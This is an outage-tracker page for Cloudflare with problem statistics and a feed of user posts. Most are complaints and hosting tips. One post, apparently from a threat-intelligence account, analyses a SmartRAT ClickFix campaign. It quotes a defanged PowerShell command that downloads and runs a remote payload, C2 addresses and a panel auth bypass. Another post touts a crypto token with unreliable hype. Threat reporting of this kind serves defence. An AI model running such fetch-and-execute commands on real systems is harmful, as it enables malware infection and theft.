Cloudflare status: hosting issues and outage reports

Problems in the last 24 hours

The graph below depicts the number of Cloudflare reports received over the last 24 hours by time of day. When the number of reports exceeds the baseline, represented by the red line, an outage is determined.

Most Reported Problems

The following are the most recent problems reported by Cloudflare users through our website.

• Domains (35%)
• Cloud Services (30%)
• Hosting (19%)
• Web Tools (11%)
• E-mail (5%)

Live Outage Map

The most recent Cloudflare outage reports came from the following cities:

City	Problem Type	Report Time
Angers	Cloud Services	8 days ago
London	Domains	10 days ago
Noida	Hosting	23 days ago
Jewar	E-mail	23 days ago
Braga	Web Tools	23 days ago
Noida	Cloud Services	24 days ago

Full Outage Map

Community Discussion

Tips? Frustrations? Share them here. Useful comments include a description of the problem, city and postal code.

Beware of "support numbers" or "recovery" accounts that might be posted below. Make sure to report and downvote those comments. Avoid posting your personal information.

Cloudflare Issues Reports

Latest outage, problems and issue reports in social media:

• 
  Locally (@LocallyPT) reported 4 minutes ago

  @EddCoates Cloudflare don't help?

• 
  Symedia (@Symedia_) reported 4 minutes ago

  @rickyrickyriri @SimonAlmers @AliGrids it's not a work email but a domain email look at tld-list buy a 1$ domain and get a cloudflare email. fixed the problem in few hours.

• 
  Arda (@onurardaoz) reported 8 minutes ago

  @Cloudflare Warp ui sucks for macs now. Please turn it back.

• 
  tcpdump (@dump_tcp) reported 8 minutes ago

  @EddCoates if need any help with cloudflare I can help with some rules also it seems you're webserver code is bottlenecking you causing that error usually due to not being able to handle that many connections or to much cpu usage the webserver process dies i suggest using #golang best lang

• 
  Ajay (@AjayCodeWiz) reported 11 minutes ago

  @VanillaCache I just bought max plan. Using it via vs code extension. Does the web version covers everything. Mobile web version puts things in container. And running the dev server accessing is so difficult. Cloudflare and ngrok not working. Had to push it to vercel which deploys all the branches including the branch the claude is working on. But still slow like building takes time

• 
  seanvfacer (@seanvfacer) reported 13 minutes ago

  Bots just beat humans on the internet. For the first time in history. Not coming. Already happened. Cloudflare — the company running 1 in 5 websites on earth — watched the moment it tipped. The old internet was built for people. The new one's built for agents that don't browse, don't linger, don't even see your sign. So if you're building anything in 2026 — your customer might not be human anymore.

• 
  Shantanu Dhanuka (@trudydehacker) reported 15 minutes ago

  @CloudflareHelp Hi, My domain DNS on cloudflare and hosted on CF Pages is returning Warning - Suspected Phishing - This website has been reported for potential phishing. This is happening only with the homepage, inner pages are working fine. We raised multiple ticket Pls help

• 
  Your Private Proxy (@YourPrivateProx) reported 15 minutes ago

  @lea7hersm17h FlareSolverr clears the JS challenge. It doesn't fix IP reputation — if your exit is already flagged, Cloudflare just serves another challenge after each solve. Works on clean IPs at low scale. Breaks on shared or abused exits.

• 
  15 dollars (@WildWhy_v3_44) reported 17 minutes ago

  is cloudflare down or does RYM just not like me

• 
  Pushkar Mishra (@Pushkarm029) reported 17 minutes ago

  Just install Cloudflare WARP. No login. One click solution. No ads.

• 
  Kastan Day (@KastanDay) reported 21 minutes ago

  extremely bullish signal for open models, like on @Cloudflare Workers AI

• 
  Adam Rush 🛫 (@Adam9Rush) reported 24 minutes ago

  @JamesSherlouk Hosted on R2 @Cloudflare, zipballs each dependency and mints it so it can never change. More control, mainly, we can just manage it pretty cheaply, but ultimately do some other stuff with it. I would quite like to build a little internal dashboard that shows our dependency graph, etc.

• 
  Phil Smith (@itsPhil) reported 24 minutes ago

  @David_mduw Spin it up, yes. Understand what you built, or what you may have built wrong, not so much. The issues for the non-technical user are going to be things like not understanding when they are trying to build on a server-less platform like Cloudflare, when in fact, they are prompting their way into a site that really needs server side processes. The LLM may or may not point this out to the user, but it will continue trying to build it anyway if the user keeps prompting.

• 
  Armeet (@armeetjatyani) reported 30 minutes ago

  @tomhaerter Primarily Cloudflare now. GCP support is extremely sluggish

• 
  𝐀𝐤𝐫𝐚𝐦 (@beingakramraja) reported 32 minutes ago

  Akash is processing 1.7 billion tokens every single day on openrouter right now outpacing cloudflare venice, elizaos, morpheus, gensyn all paying customers running real ai workloads on akash the narrative isn't that akash could become the decentralized aws. it's that it already is for a growing list of ai companies who need cheaper compute akash just launched homenode beta people with rtx 4090s and 5090s sitting at home can now connect their gpu to the network and earn from ai inference demand this changes the supply side completely instead of relying on 58 enterprise providers, the network starts pulling in consumer hardware globally more supply means more competitive pricing which means more demand which means more akt burned the things akash is building that most ct hasn't priced in yet virtual machines launching this quarter enterprise workloads that couldn't run on containers now can starcluster acquiring 7,200 nvidia gb200 gpus protocol-owned compute at hyperscale confidential computing via tee the feature enterprises require before migrating serious workloads $akt is at $0.62 the roadmap reads like a company that's two quarters away from being unignorable

• 
  Decoded (@decoded_dev) reported 32 minutes ago

  @EddCoates A lot can be done for free. If you use nginx, page caching helps a lot. Identify query strings that aren't used by your site but are actively being crawled and block them in cloudflare - *?*weirdstring*. This can help block bots that try to bypass the page cache. Use cloudflare to block user agents of bots that you don't need crawling your website. If you put the painful effort of going through your logs now then this problem (your server not responding) will rarely happen in the future. Where are you hosting your site?

• 
  goksan (@g0ksan) reported 38 minutes ago

  @thomas_ankcorn @SamNewby_ @thomas_ankcorn thanks for the help the issue is still unresolved (despite being closed) and both the assignee and assigner no longer appear to be at Cloudflare

• 
  GangGangHODL 💎🙌 (@GANGGANGHODL1) reported 41 minutes ago

  Problem: generating image variants on Heroku is ruby-vips memory intensive, causing R14 memory quota exceeded Solution: Cloudflare Image Transformations processing Offload Image compute & memory req from Heroku worker to Cloudflare worker Why: deliver sm images to mobile

• 
  Inu Games (@games_inu) reported 43 minutes ago

  @EddCoates @mishuba All those people saying "use Cloudflare" cannot just check the ip and see that it is Cloudflare, unbelievable! Btw, what I do now is to block cloud providers by AS number, seems to help a little.

• 
  JD'oh (@JDoh2983) reported 45 minutes ago

  Why Crest Fundgrove and this setup are fake Classic 'fake' pattern: "AI trading bot" with impossible claims (e.g., 85%+ accuracy, easy passive profits, minimal effort). Real markets don't work this way consistently. Minimum deposit around $250 (common in these scams). They often show fake profits in your "account" to encourage more deposits, then make withdrawals difficult or impossible (claiming fees, taxes, or needing more money to "unlock"). No real regulation: Reviews couldn't verify proper licensing with Canadian regulators (IIROC/CSA). Legitimate platforms targeting Canadians are transparent about this. Fake testimonials and reviews: Their own site has glowing "verified" reviews with inconsistent numbers. YouTube "reviews" are mostly affiliate promo videos (they earn commissions on deposits/signups). Related 'fake' service reports: Similar names (e.g., Crest Maverick Broker) have Reddit complaints about fake profits followed by withdrawal blocks or demands for more money. The weird domain + tracking params: Legitimate financial companies do not use domains like "hetouchesitdies dot com" or heavy affiliate cloaking like this. This is infrastructure for running mass scam ads. The Cloudflare content you may have seen on the page is likely because these 'fake' operations often use Cloudflare for hosting/CDN/protection (or content cloaking). It doesn't make it legitimate.

• 
  DownWithBigBrother (@DWBB1984) reported 46 minutes ago

  @ultrasxiv Fair on bandwidth being a real cost, but the 2GB figure is a long way out. Cheapest DO droplet includes 500GB+ outbound, Hetzner 20TB+. At 600-700GB household use you’re a pound or two over on DO, zero on Hetzner. Stays around the base £4-5 for most, not £300. And “un-bannable” was the precise word, not hyperbole. A commercial VPN is bannable because it’s a named brand with known IPs, a company that can be pressured or blocked. That’s the weakness. Self-hosting removes the target entirely. There’s no technical category called “a VPS used as a VPN.” It’s a rented server running standard encryption (WireGuard, IPsec), the same protocols carrying every bank settlement, ATM link and corporate tunnel on earth. To ban it you’d have to block those protocols (killing Visa, every corporate VPN, all remote work) or blacklist the datacentre IP ranges (AWS, Hetzner, OVH) that host the actual internet: payment gateways, banking backends, Stripe, Cloudflare, gov services. You can’t separate “server someone might tunnel through” from “server running the shop you’re buying from.” The second and third-order effects would cripple e-commerce, open banking and logistics, all riding the same cloud backbone. That’s the sovereignty point. You can ban a brand. You can’t ban the capability of renting a server and encrypting your own traffic, not without taking modern commerce down with it.

• 
  Japan Anime News (JAN) (@JapanAnimeNews_) reported 46 minutes ago

  A change to our Cloudflare settings appears to have caused access issues for some users. We apologize for the inconvenience this may be causing. Please bear with us for a few days while we work to resolve the issue. 🙏

• 
  Tushar Dwivedi (@tush_2708) reported 46 minutes ago

  @SayantikaSays Try @BSNLCorporate . And I am not joking. It is best if it's available in your area. No BS service. I never heard these lines from BSNL, which I kept hearing from other providers like Jio and Airtel. "We won't give you the router password" "You can't use your own router, even if ours is ******. What do you mean you have a better router and modem? Hou must pay us a subscription for this mesh thing instead" "No, you can't use Google or CloudFlare's DNS, you must use ours. What if it's slow? If you change, how will we snoop on you and inject our advertisements into your browser?" "No, you can't open a port for you. For that, you must buy a static IP from us. Why is a static IP needed to open a port? Who knows. But we won't allow it unless you pay us extra" In the last 3 years, I have only had 2 outages on BSNL, 30-40 minutes max. While on Airtel, I had caught their staff removing my cable from their box and adding a new one for a new connection, and then making me wait till they finally got a new box after a week. They just didn't want to make a new customer wait, so they simply assigned my slot to them. And their customer care and local staff wasn't even ready to accept it, unless I showed the CCTV footage and a video of my cable literally being thrown on the side of their box, not even connected, while they were claiming that there's some backend issue.

• 
  Diogo D (@DiogoTheReal) reported 53 minutes ago

  @EddCoates @Cloudflare rate limiting might help

• 
  special k | CEO of stressed out era (@specialkdelslay) reported 53 minutes ago

  @HeadmasterDuck We have cloudflare pro acc which does mitigate some of this. The cloudflare dependency everyone has is a problem tho

• 
  Mike Chong (@realMikeChong) reported 53 minutes ago

  @wongmjane @Cloudflare so what? As long as it solves problems

• 
  Ahmed Aldeab (@0xfa7b) reported 56 minutes ago

  Stopping the bad guys with Cloudflare: 885 malicious requests blocked or challenged in the last month #cloudflare

• 
  DFIR Radar (@DFIR_Radar) reported 57 minutes ago

  AI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory. Hashes: st.txt 297eb45f028d44d750297d2f932b9c91, RAT b17ccdb5531555e43f082d6e77c07227. - SmartRAT (SMART_V25) persists as scheduled task or Windows service named MicrosoftEdgeUpdateCore (T1543.003), copies itself to %APPDATA%\Microsoft\Diagnosis\ETW\msedgeupdate.txt, logs all activity to C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log and per-PID logs. - C2 at c[.]windowsupdate-cdn[.]com port 51888 (fallback 162[.]141[.]111[.]227), AES-CBC encrypted over raw TCP. QR-swap feature overlays attacker QR at exact pixel coordinates of the legitimate banking QR to redirect transactions. Monitors window titles for santander, bradesco, itau, nubank, binance, and a dozen more. - The C2 panel (branded MyGood PRO) bypasses auth by checking only localStorage values authToken and currentUser client-side with no server validation, exposing the full admin panel to anyone who sets those keys. #DFIR_Radar

• 
  Rohit Kashyap | AI + Full-Stack (@rohit_jsfreaky) reported 1 hour ago

  @EddCoates that nginx 500 is the scrapers basically ddosing you for free training data. robots txt is a polite suggestion they ignore now. what actually helps, put cloudflare in front with bot fight mode on, rate limit per asn not per ip since they rotate addresses, and consider a tarpit for the worst offenders. it is not legal so much as unenforceable at their scale, which is the real problem

• 
  Qubicle | Based Dept. Treasury 🏦 (@cubeqube) reported 1 hour ago

  @nejatian @Opendoor love the job posting super enticing, opendoor is legit the only company I've even thought about trying to actually get a job at in years wanted my current job to be my last but running it back one more time at a place im all in on and on an idea i want to see succeed before going off and doing my own thing sounds like fun. if my parents lived closer to Miami I'd be outside the office rn begging ya'll to hire me so I can help 100x OPEN but my parents are getting old now, etc. so I'm torn. I wish that job posting wasn't written for everything I like to do and how I work already it's just too good. I get bored with things that are easy to solve or do it's my biggest problem so I enjoy bouncing around to diff teams and doing random things and try to learn enough about everything so that I can do everyones job if needed & I've had some pretty intense cybersecurity fellas and cloud experts (from google, mandiant, etc) say I know what I'm doing when it comes to cloud after reviewing my **** infra setups and SDLC flows I designed and implemented so that's a big part of my T I guess, but it's boring me now because it's kind of easy at this point haven't had a tough challenge to solve in a bit; not that im the best ever or in an arrogant way but it's just all kind of the same thing at the end of the day and 99% of infra & software problems have been solved already they just need to be found first so it's more fun now for me to think about the entire pie than a piece of it thats why I like that job posting. fun fact: I used a cloudflare product in a unique way for my work's enterprise **** setup ~7 years ago that the cf team (atleast those in the call!) had never seen someone use it that way before, found it interesting and added it to their documentation a couple weeks later (a use case for argo tunnel) and it's now one of the most common uses of it. nothing fancy I thought it was cool though.